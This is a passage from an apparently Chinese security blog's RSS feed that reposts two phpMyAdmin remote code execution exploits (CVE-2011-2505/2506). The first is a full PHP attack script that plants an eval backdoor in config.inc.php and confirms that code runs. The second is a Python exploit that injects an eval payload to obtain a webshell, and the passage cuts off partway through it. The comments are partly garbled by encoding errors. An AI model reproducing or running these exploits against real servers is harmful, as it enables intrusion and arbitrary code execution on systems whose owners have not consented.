)&#124;&nbsp;&nbsp;&#124;)&nbsp;&nbsp;&#92;&nbsp;&nbsp;/&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#124;&nbsp;&nbsp;&#124;&#92;&nbsp;&nbsp;/&#124;&nbsp;&nbsp;&#124;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#124;&nbsp;&nbsp;&#124;&nbsp;&nbsp;&#124;&nbsp;&nbsp;&#124;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#124;&nbsp;&nbsp;&#124;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;(__)&nbsp;&nbsp;<br/><br/>(&nbsp;&nbsp;______ / &#124;&nbsp;&nbsp;&#124;_____(&nbsp;&nbsp;______&nbsp;&nbsp; &#124;&nbsp;&nbsp;&#124; &#92;/ &#124;&nbsp;&nbsp;&#124;&nbsp;&nbsp;__&nbsp;&nbsp;&nbsp;&nbsp;__&nbsp;&nbsp;&#124;&nbsp;&nbsp;&#124;__&#124;&nbsp;&nbsp;&#124;&nbsp;&nbsp; ___&#124;&nbsp;&nbsp;&#124;&nbsp;&nbsp;__ ___________&nbsp;&nbsp; __&nbsp;&nbsp; __ _____&nbsp;&nbsp;<br/><br/> &#92;&#124;&nbsp;&nbsp;&#124; &#92;&nbsp;&nbsp;&#92; &#124;&nbsp;&nbsp;&#124;&nbsp;&nbsp;&#124;&nbsp;&nbsp;&#124;)&#124;&nbsp;&nbsp;&#124; &#92;&nbsp;&nbsp;&#92; &#124;&nbsp;&nbsp;&#124;&nbsp;&nbsp;&nbsp;&nbsp;&#124;&nbsp;&nbsp;&#124; &#124;&nbsp;&nbsp;&#124;&nbsp;&nbsp;&#124;&nbsp;&nbsp;&#124; &#124;&nbsp;&nbsp;&#124;&nbsp;&nbsp;&#124;&nbsp;&nbsp;&#124; /&nbsp;&nbsp;/ &#124;&nbsp;&nbsp;&#124; &#124;&nbsp;&nbsp;&#124;&nbsp;&nbsp;&#124;&nbsp;&nbsp;&#124;&nbsp;&nbsp;&#124;&nbsp;&nbsp;&#124; &#124;&nbsp;&nbsp;&#124; &#124;&nbsp;&nbsp;&#124;&nbsp;&nbsp;&#124;&nbsp;&nbsp;&#124;&nbsp;&nbsp;<br/><br/>&nbsp;&nbsp;&#124;&nbsp;&nbsp;&#124;_/__/ &#124;__&#124;&nbsp;&nbsp;&#124;__&#124; &#124;&nbsp;&nbsp;&#124;_/__/ &#124;__&#124;&nbsp;&nbsp;&nbsp;&nbsp;&#124;__&#124; &#124;__&#124;__&#124;&nbsp;&nbsp;&#124; &#124;__&#124; &#91;&#93;&#91;&#93;&#124;&#91;&#93;__&#91;&#93;&#124;&#91;&#93;&#91;&#93;&#124;_&#91;&#93;&nbsp;&nbsp;&#124;_&#91;&#93;&#91;&#93;&#124;_&#91;&#93; &#91;&#93;&#91;&#93;&#91;&#93;__&#124;&nbsp;&nbsp;&#124;__&#124;&nbsp;&nbsp;<br/><br/>==&#124;__&#124;=================&#124;__&#124;=========================&#124;__&#124;======&#91;&#93;====&#91;&#93;&#91;&#93;=&#124;&#91;&#93;&#124;&#91;&#93;=&#91;&#93;===&#91;&#93;==&#91;&#93;=&#91;&#93;===&#91;&#93;==============&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br/><br/>&nbsp;&nbsp; phpMyAdmin &lt; 3.3.10.2 &#124;&#124; phpMyAdmin &lt; 3.4.3.1&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#91;&#93;&#91;&#93;&nbsp;&nbsp; &#91;&#93;&nbsp;&nbsp; &#91;&#93;&#91;&#93;&nbsp;&nbsp;&#91;&#93;&nbsp;&nbsp; &#91;&#93;&nbsp;&nbsp;&#91;&#93; &#91;&#93;&nbsp;&nbsp; &#91;&#93;&nbsp;&nbsp;<br/><br/>&nbsp;&nbsp; Remote Code Injection&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#91;&#93;&nbsp;&nbsp;&nbsp;&nbsp;&#91;&#93;&#91;&#93;&nbsp;&nbsp;&#91;&#93;&nbsp;&nbsp;&nbsp;&nbsp;&#91;&#93;&nbsp;&nbsp; &#91;&#93;&nbsp;&nbsp;&#91;&#93; &#91;&#93;&nbsp;&nbsp; &#91;&#93;&nbsp;&nbsp;<br/><br/>&nbsp;&nbsp; http://ha.xxor.se&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#91;&#93;&#91;&#93; &#91;&#93;&nbsp;&nbsp;&#91;&#93; &#91;&#93;&nbsp;&nbsp;&nbsp;&nbsp;&#91;&#93;&#91;&#93;&nbsp;&nbsp;&#91;&#93;&#91;&#93;&nbsp;&nbsp;&#91;&#93;&nbsp;&nbsp; &#91;&#93;&nbsp;&nbsp; <br/><br/>&nbsp;&nbsp;&nbsp;&nbsp; _&nbsp;&nbsp; _&nbsp;&nbsp;___ __ ____ __ ___&nbsp;&nbsp;___&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&#124; &#124;-&#124; &#124;&#124; _ &#124;&#92;&nbsp;&nbsp; /&#92;&nbsp;&nbsp; /&#124; _ &#124;&#124;&nbsp;&nbsp; )&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&#124;_&#124;-&#124;_&#124;&#124;_&#124;_&#124;/_._&#92;/_._&#92;&#124;___&#124;&#124;_&#124;_&#92;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br/><br/>&nbsp;&nbsp;___&nbsp;&nbsp;___&nbsp;&nbsp;___ _&nbsp;&nbsp;_&nbsp;&nbsp;___&nbsp;&nbsp;&nbsp;&nbsp; ___ __ __&nbsp;&nbsp;&nbsp;&nbsp;<br/><br/> (&nbsp;&nbsp;&lt; &#124; &#91;_ /&nbsp;&nbsp;/&#124; &#124;&#124; &#124;&#124;&nbsp;&nbsp; )(_)&#124;&nbsp;&nbsp; &#124;&#92; &#124; /&nbsp;&nbsp;<br/><br/>&nbsp;&nbsp;&gt;__)&#124;_&#91;_ &#92;__&#92;&#124;____&#124;&#124;_&#124;_&#92;&#124;_&#124; &#124;_&#124;&nbsp;&nbsp;&#124;_&#124;&nbsp;&nbsp;<br/><br/>&nbsp;&nbsp; <br/><br/>Use responsibly.&nbsp;&nbsp;<br/><br/>&nbsp;&nbsp; <br/><br/>&lt;?php echo php_sapi_name()!==&#039;cli&#039;?&#039;&lt;/pre&gt;&#039;:&#039;&#039;;&nbsp;&nbsp;<br/><br/>&nbsp;&nbsp; <br/><br/>if(php_sapi_name()===&#039;cli&#039;)&#123;&nbsp;&nbsp;<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;if(!isset($argv&#91;1&#93;))&#123;&nbsp;&nbsp;<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;output(&quot;&nbsp;&nbsp; Usage&#92;n&nbsp;&nbsp;&nbsp;&nbsp;&quot;.$argv&#91;0&#93;.&quot; http://example.com/phpMyAdmin-3.3.9.2&quot;);&nbsp;&nbsp;<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;killme();&nbsp;&nbsp;<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&#125;&nbsp;&nbsp;<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;$pmaurl = $argv&#91;1&#93;;&nbsp;&nbsp; <br/><br/>&#125;else&#123;&nbsp;&nbsp;<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;$pmaurl = isset($_REQUEST&#91;&#039;url&#039;&#93;)?$_REQUEST&#91;&#039;url&#039;&#93;:&#039;&#039;;&nbsp;&nbsp;<br/><br/>&#125;&nbsp;&nbsp;<br/><br/>$code&nbsp;&nbsp; = &#039;foreach($_GET as $k=&gt;$v)if($k===&quot;eval&quot;)eval($v);&#039;;&nbsp;&nbsp;<br/><br/>$cookie = null;&nbsp;&nbsp;<br/><br/>$token&nbsp;&nbsp;= null;&nbsp;&nbsp;<br/><br/>if(!function_exists(&#039;curl_init&#039;))&#123;&nbsp;&nbsp;<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;output(&#039;&#91;!&#93; Fatal error. Need cURL!&#039;);&nbsp;&nbsp;<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;killme();&nbsp;&nbsp;<br/><br/>&#125;&nbsp;&nbsp;<br/><br/>$ch&nbsp;&nbsp;&nbsp;&nbsp; = curl_init();&nbsp;&nbsp;<br/><br/>$debug&nbsp;&nbsp;= 0;&nbsp;&nbsp;<br/><br/>if(php_sapi_name()!==&#039;cli&#039;)&#123;&nbsp;&nbsp;<br/><br/>?&gt;&nbsp;&nbsp;<br/><br/>&lt;form method=post&gt;&nbsp;&nbsp;<br/><br/>URL: &lt;input name=url value=&quot;&lt;?php echo htmlspecialchars($pmaurl);?&gt;&quot;&gt; Example: http://localhost:8080/phpMyAdmin-3.3.9.2&lt;br/&gt;&nbsp;&nbsp;<br/><br/>&lt;input name=submit type=submit value=♥&gt;&nbsp;&nbsp;<br/><br/>&lt;/form&gt;&nbsp;&nbsp;<br/><br/>&lt;pre&gt;&nbsp;&nbsp;<br/><br/>&lt;?php&nbsp;&nbsp;<br/><br/>if(!isset($_REQUEST&#91;&#039;submit&#039;&#93;))killme(true);&nbsp;&nbsp;<br/><br/>&#125;&nbsp;&nbsp;<br/><br/>&nbsp;&nbsp; <br/><br/>output(&quot;&#91;i&#93; Running...&quot;);&nbsp;&nbsp;<br/><br/>&nbsp;&nbsp; <br/><br/>// Start a session and get a token&nbsp;&nbsp;<br/><br/>curl_setopt_array($ch, array(&nbsp;&nbsp;<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;CURLOPT_URL =&gt; $pmaurl.&#039;/setup/index.php&#039;,&nbsp;&nbsp;<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;CURLOPT_HEADER =&gt; 1,&nbsp;&nbsp;<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;CURLOPT_RETURNTRANSFER =&gt; 1,&nbsp;&nbsp;<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;CURLOPT_TIMEOUT =&gt; 4,&nbsp;&nbsp;<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;CURLOPT_SSL_VERIFYPEER =&gt; false,&nbsp;&nbsp;<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;CURLOPT_SSL_VERIFYHOST =&gt; false&nbsp;&nbsp;<br/><br/>));&nbsp;&nbsp;<br/><br/>output(&quot;&#91;*&#93; Contacting server to retrive session cookie and token.&quot;);&nbsp;&nbsp;<br/><br/>&nbsp;&nbsp; <br/><br/>$result = curl_exec($ch);&nbsp;&nbsp;<br/><br/>if(404 == curl_getinfo($ch, CURLINFO_HTTP_CODE))&#123;&nbsp;&nbsp;<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;output(&quot;&#91;!&#93; Fail. $pmaurl/setup/index.php returned 404. The host is not vulnerable or there is a problem with the supplied url.&quot;);&nbsp;&nbsp;<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;killme();&nbsp;&nbsp;<br/><br/>&#125;&nbsp;&nbsp;<br/><br/>if(!$result)&#123;&nbsp;&nbsp;<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;output(&quot;&#91;!&#93; cURL error:&quot;.curl_error($ch));&nbsp;&nbsp;<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;killme();&nbsp;&nbsp;<br/><br/>&#125;&nbsp;&nbsp;<br/><br/>if(false !== strpos($result, &#039;Cannot load or save configuration&#039;))&#123;&nbsp;&nbsp;<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;output(&quot;&#91;!&#93; Fail. Host not vulnerable. Web server writable folder $pmaurl/config/ does not exsist.&quot;);&nbsp;&nbsp;<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;killme();&nbsp;&nbsp;<br/><br/>&#125;&nbsp;&nbsp;<br/><br/>&nbsp;&nbsp; <br/><br/>// Extract cookie&nbsp;&nbsp;<br/><br/>preg_match(&#039;/phpMyAdmin=(&#91;^;&#93;+)/&#039;, $result, $matches);&nbsp;&nbsp;<br/><br/>$cookie = $matches&#91;1&#93;;&nbsp;&nbsp;<br/><br/>output(&quot;&#91;i&#93; Cookie:&quot;.$cookie);&nbsp;&nbsp;<br/><br/>// Extract token&nbsp;&nbsp;<br/><br/>preg_match(&#039;/(token=&#124;token&quot; value=&quot;)(&#91;0-9a-f&#93;&#123;32&#125;)/&#039;, $result, $matches);&nbsp;&nbsp;<br/><br/>$token = $matches&#91;2&#93;;&nbsp;&nbsp;<br/><br/>output(&quot;&#91;i&#93; Token:&quot;.$token);&nbsp;&nbsp;<br/><br/>&nbsp;&nbsp; <br/><br/>// Poison _SESSION variable&nbsp;&nbsp;<br/><br/>curl_setopt($ch, CURLOPT_URL, $pmaurl.&#039;/?_SESSION&#91;ConfigFile&#93;&#91;Servers&#93;&#91;*/&#039;.urlencode($code).&#039;/*&#93;&#91;port&#93;=0&amp;session_to_unset=x&amp;token=&#039;.$token);&nbsp;&nbsp;<br/><br/>curl_setopt($ch, CURLOPT_COOKIE, &#039;phpMyAdmin=&#039;.$cookie);&nbsp;&nbsp;<br/><br/>output(&quot;&#91;*&#93; Contacting server to inject code into the _SESSION&#91;ConfigFile&#93;&#91;Servers&#93; array.&quot;);&nbsp;&nbsp;<br/><br/>if(!$result = curl_exec($ch))&#123;&nbsp;&nbsp;<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;output(&quot;&#91;!&#93; cURL error:&quot;.curl_error($ch));&nbsp;&nbsp;<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;killme();&nbsp;&nbsp;<br/><br/>&#125;&nbsp;&nbsp;<br/><br/>&nbsp;&nbsp; <br/><br/>//echo htmlspecialchars($result,ENT_QUOTES);&nbsp;&nbsp;<br/><br/>&nbsp;&nbsp; <br/><br/>// Save file&nbsp;&nbsp;<br/><br/>curl_setopt($ch, CURLOPT_URL, $pmaurl.&#039;/setup/config.php&#039;);&nbsp;&nbsp;<br/><br/>curl_setopt($ch, CURLOPT_POST, 1);&nbsp;&nbsp;<br/><br/>curl_setopt($ch, CURLOPT_POSTFIELDS, &#039;submit_save=Save&amp;token=&#039;.$token);&nbsp;&nbsp;<br/><br/>output(&quot;&#91;*&#93; Contacting server to make it save the injected code to a file.&quot;);&nbsp;&nbsp;<br/><br/>if(!$result = curl_exec($ch))&#123;&nbsp;&nbsp;<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;output(&quot;&#91;!&#93; cURL error:&quot;.curl_error($ch));&nbsp;&nbsp;<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;killme();&nbsp;&nbsp;<br/><br/>&#125;&nbsp;&nbsp;<br/><br/>&nbsp;&nbsp; <br/><br/>//echo htmlspecialchars($result,ENT_QUOTES);&nbsp;&nbsp;<br/><br/>&nbsp;&nbsp; <br/><br/>curl_setopt($ch, CURLOPT_URL, $pmaurl.&#039;/config/config.inc.php?eval=echo%20md5(123);&#039;);&nbsp;&nbsp;<br/><br/>curl_setopt($ch, CURLOPT_POST, 0);&nbsp;&nbsp;<br/><br/>output(&quot;&#91;*&#93; Contacting server to test if the injected code executes.&quot;);&nbsp;&nbsp;<br/><br/>if(!$result = curl_exec($ch))&#123;&nbsp;&nbsp;<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;output(&quot;&#91;!&#93; cURL error:&quot;.curl_error($ch));&nbsp;&nbsp;<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;killme();&nbsp;&nbsp;<br/><br/>&#125;&nbsp;&nbsp;<br/><br/>if(preg_match(&#039;/202cb962ac59075b964b07152d234b70/&#039;, $result))&#123;&nbsp;&nbsp;<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;output(&quot;&#91;!&#93; Code injection successfull. This instance of phpMyAdmin is vulnerable!&quot;);&nbsp;&nbsp;<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;output(&quot;&#91;+&#93; Use your browser to execute PHP code like this $pmaurl/config/config.inc.php?eval=echo%20&#039;test&#039;;&quot;);&nbsp;&nbsp;<br/><br/>&#125;else&#123;&nbsp;&nbsp;<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;output(&quot;&#91;!&#93; Code injection failed. This instance of phpMyAdmin does not apear to be vulnerable.&quot;);&nbsp;&nbsp;<br/><br/>&#125;&nbsp;&nbsp;<br/><br/>&nbsp;&nbsp; <br/><br/>&nbsp;&nbsp; <br/><br/>curl_close($ch);&nbsp;&nbsp;<br/><br/>&nbsp;&nbsp; <br/><br/>function output($msg)&#123;&nbsp;&nbsp;<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;echo php_sapi_name()!==&#039;cli&#039;?htmlspecialchars(&quot;$msg&#92;n&quot;,ENT_QUOTES):&quot;$msg&#92;n&quot;;&nbsp;&nbsp;<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;flush();&nbsp;&nbsp;<br/><br/>&#125;&nbsp;&nbsp;<br/><br/>&nbsp;&nbsp; <br/><br/>function killme()&#123;&nbsp;&nbsp;<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;output(&quot;&#91;*&#93; Exiting...&quot;);&nbsp;&nbsp;<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;echo php_sapi_name()!==&#039;cli&#039;?&#039;&lt;pre&gt;&#039;:&#039;&#039;;&nbsp;&nbsp;<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;die();&nbsp;&nbsp;<br/><br/>&#125;&nbsp;&nbsp;<br/><br/>&nbsp;&nbsp; <br/><br/>echo php_sapi_name()!==&#039;cli&#039;?&#039;&lt;pre&gt;&#039;:&#039;&#039;;?&gt; <br/></div><br/>Tags - <a href="http://www.netpk.org/blog/tag.php?tag=phpmyadmin" rel="tag">phpmyadmin</a>
]]>
</description>
</item><item>
<link>http://www.netpk.org/blog/read.php?548</link>
<title><![CDATA[phpMyAdmin3 (pma3) Remote Code Execution Exploit]]></title> 
<author>NetKnave &lt;admin@yourname.com&gt;</author>
<category><![CDATA[技术文章]]></category>
<pubDate>Sun, 10 Jul 2011 17:35:53 +0000</pubDate> 
<guid>http://www.netpk.org/blog/read.php?548</guid> 
<description>
<![CDATA[ 
	<div class="code">#!/usr/bin/env python&nbsp;&nbsp;<br/><br/># coding=utf-8&nbsp;&nbsp;<br/><br/># pma3 - phpMyAdmin3 remote code execute exploit&nbsp;&nbsp;<br/><br/># Author: wofeiwo&lt;wofeiwo@80sec.com&lt;SCRIPT type=text/javascript&gt; <br/><br/>/* &lt;!&#91;CDATA&#91; */ <br/><br/>(function()&#123;try&#123;var s,a,i,j,r,c,l=document.getElementById(&quot;__cf_email__&quot;);a=l.className;if(a)&#123;s=&#039;&#039;;r=parseInt(a.substr(0,2),16);for(j=2;a.length-j;j+=2)&#123;c=parseInt(a.substr(j,2),16)^r;s+=String.fromCharCode(c);&#125;s=document.createTextNode(s);l.parentNode.replaceChild(s,l);&#125;&#125;catch(e)&#123;&#125;&#125;)(); <br/><br/>/* &#93;&#93;&gt; */ <br/><br/>&lt;/SCRIPT&gt;&gt;&nbsp;&nbsp;<br/><br/># Thx Superhei&nbsp;&nbsp;<br/><br/># Tested on: 3.1.1, 3.2.1, 3.4.3&nbsp;&nbsp;<br/><br/># CVE: CVE-2011-2505, CVE-2011-2506&nbsp;&nbsp;<br/><br/># Date: 2011-07-08&nbsp;&nbsp;<br/><br/># Have fun, DO *NOT* USE IT TO DO BAD THING.&nbsp;&nbsp;<br/><br/>################################################&nbsp;&nbsp;<br/><br/>&nbsp;&nbsp; <br/><br/># Requirements: 1. &quot;config&quot; directory must created&amp;writeable in pma directory.&nbsp;&nbsp;<br/><br/>#&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 2. session.auto_start = 1 in php.ini configuration.&nbsp;&nbsp;<br/><br/>&nbsp;&nbsp; <br/><br/>&nbsp;&nbsp; <br/><br/>import os,sys,urllib2,re&nbsp;&nbsp;<br/><br/>&nbsp;&nbsp; <br/><br/>def usage(program):&nbsp;&nbsp;<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;print &quot;PMA3 (Version below 3.3.10.2 and 3.4.3.1) remote code&nbsp;&nbsp;<br/><br/>execute exploit&quot;&nbsp;&nbsp;<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;print &quot;Usage: %s &lt;PMA_url&gt;&quot; % program&nbsp;&nbsp;<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;print &quot;Example: %s http://www.test.com/phpMyAdmin&quot; % program&nbsp;&nbsp;<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;sys.exit(0)&nbsp;&nbsp;<br/><br/>&nbsp;&nbsp; <br/><br/>def main(args):&nbsp;&nbsp;<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;try:&nbsp;&nbsp;<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if len(args) &lt; 2:&nbsp;&nbsp;<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;usage(args&#91;0&#93;)&nbsp;&nbsp;<br/><br/>&nbsp;&nbsp; <br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if args&#91;1&#93;&#91;-1&#93; == &quot;/&quot;:&nbsp;&nbsp;<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;args&#91;1&#93; = args&#91;1&#93;&#91;:-1&#93;&nbsp;&nbsp;<br/><br/>&nbsp;&nbsp; <br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;# ��һ������ȡtoken��sessionid��sessionid��phpMyAdmin��ֵ��һ�µ�&nbsp;&nbsp;<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;print &quot;&#91;+&#93; Trying get form token&amp;session_id..&quot; <br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;content = urllib2.urlopen(args&#91;1&#93;+&quot;/index.php&quot;).read()&nbsp;&nbsp;<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;r1 = re.findall(&quot;token=(&#92;w&#123;32&#125;)&quot;, content)&nbsp;&nbsp;<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;r2 = re.findall(&quot;phpMyAdmin=(&#92;w&#123;32,40&#125;)&quot;, content)&nbsp;&nbsp;<br/><br/>&nbsp;&nbsp; <br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if not r1:&nbsp;&nbsp;<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;r1 = re.findall(&quot;token&#92;&quot; value=&#92;&quot;(&#92;w&#123;32&#125;)&#92;&quot;&quot;, content)&nbsp;&nbsp;<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if not r2:&nbsp;&nbsp;<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;r2 = re.findall(&quot;phpMyAdmin&#92;&quot; value=&#92;&quot;(&#92;w&#123;32,40&#125;)&#92;&quot;&quot;, content)&nbsp;&nbsp;<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if len(r1) &lt; 1 or len(r2) &lt; 1:&nbsp;&nbsp;<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;print &quot;&#91;-&#93; Cannot find form token and session id...exit.&quot; <br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;sys.exit(-1)&nbsp;&nbsp;<br/><br/>&nbsp;&nbsp; <br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;token = r1&#91;0&#93;&nbsp;&nbsp;<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;sessionid = r2&#91;0&#93;&nbsp;&nbsp;<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;print &quot;&#91;+&#93; Token: %s , SessionID: %s&quot; % (token, sessionid)&nbsp;&nbsp;<br/><br/>&nbsp;&nbsp; <br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; # �ڶ�����ͨ��swekey.auth.lib.php����$_SESSION��ֵ&nbsp;&nbsp;<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;print &quot;&#91;+&#93; Trying to insert payload in $_SESSION..&quot; <br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;uri = &quot;/libraries/auth/swekey/swekey.auth.lib.php?session_to_unset=HelloThere&amp;_SESSION&#91;ConfigFile0&#93;&#91;Servers&#93;&#91;*/eval(getenv(&#039;HTTP_CODE&#039;));/*&#93;&#91;host&#93;=Hacked+By+PMA&amp;_SESSION&#91;ConfigFile&#93;&#91;Servers&#93;&#91;*/eval(getenv(&#039;HTTP_CODE&#039;));/*&#93;&#91;host&#93;=Hacked+By+PMA&quot; <br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;url = args&#91;1&#93;+uri&nbsp;&nbsp;<br/><br/>&nbsp;&nbsp; <br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;opener = urllib2.build_opener()&nbsp;&nbsp;<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;opener.addheaders.append((&#039;Cookie&#039;, &#039;phpMyAdmin=%s;&nbsp;&nbsp;<br/><br/>pma_lang=en; pma_mcrypt_iv=ILXfl5RoJxQ%%3D; PHPSESSID=%s;&#039; % <br/><br/>(sessionid, sessionid)))&nbsp;&nbsp;<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;urllib2.install_opener(opener)&nbsp;&nbsp;<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;urllib2.urlopen(url)&nbsp;&nbsp;<br/><br/>&nbsp;&nbsp; <br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;# ����setup��ȡshell&nbsp;&nbsp;<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;print &quot;&#91;+&#93; Trying get webshell..&quot; <br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;postdata = <br/><br/>&quot;phpMyAdmin=%s&amp;tab_hash=&amp;token=%s&amp;check_page_refresh=&amp;DefaultLang=en&amp;ServerDefault=0&amp;eol=unix&amp;submit_save=Save&quot; <br/><br/>% (sessionid, token)&nbsp;&nbsp;<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;url = args&#91;1&#93;+&quot;/setup/config.php&quot; <br/><br/>&nbsp;&nbsp; <br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;# print &quot;&#91;+&#93;Postdata: %s&quot; % 